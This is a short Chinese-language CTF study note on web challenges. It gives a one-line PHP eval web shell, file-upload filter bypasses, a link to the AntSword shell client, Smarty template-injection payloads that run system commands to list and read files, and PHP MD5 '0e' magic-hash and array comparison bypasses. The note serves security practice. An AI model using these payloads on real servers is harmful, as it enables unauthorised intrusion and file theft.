CTF做题笔记

WEB

一.一句话木马：

<?php @eval($_GET['cmd']);?>

上传文件类型题目：

无绕过即可直接上传包含一句话木马php文件，用蚁剑链接。

蚁剑下载链接：https://github.com/AntSwordProject/AntSword-Loader

 文件上传绕过： 1.大小写绕过

                            2.双写绕过

                            3.空格绕过（在后缀名前/后加一空格）

                            4.在后缀名后加‘.’绕过

二.游戏类

在调试器中打开js脚本，寻找重要函数，修改在控制器中。

三.注入

1.smarty注入

   首先发现smarty模板，构造'{}'/'{'上传，如果报错，则smarty模板注入。

   构造data={if system('ls /')}{/if}  *显示数据库目录。

   构造data={if system('cat /目录名')}{/if}

   {if phpinfo()}{/id}

四.json对象

    语法规则：

    使用'{}'表示一个JSON对象，键和值之间使用冒号：分隔

    json['x']=="wllm"   ==>   json={"x":"wllm"}

五.MD5

   1.md5() 函数为 md5加密

   2.一半进行弱比较，md5数组绕过

   3.解法1：可以使用0e开头的数字进行传递参数，因为php将0e开头的数字转化为0，故此时MD5值相等，而两个变量值不相等。

       md5加密后为0e开头的数字的字符串有
byGcY
0e591948146966052067035298880982

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

240610708
0e462097431906509019562988736854

314282422
0e990995504821699494520356953734

571579406
0e972379832854295224118025748221

903251147
0e174510503823932942361353209384

 解法2：数组绕过：

 name[]=1,password[]=2

md5不能加密数组，加密数组返回空。

适用于源码中没有判断类型或内容，加上过滤函数则不能使用。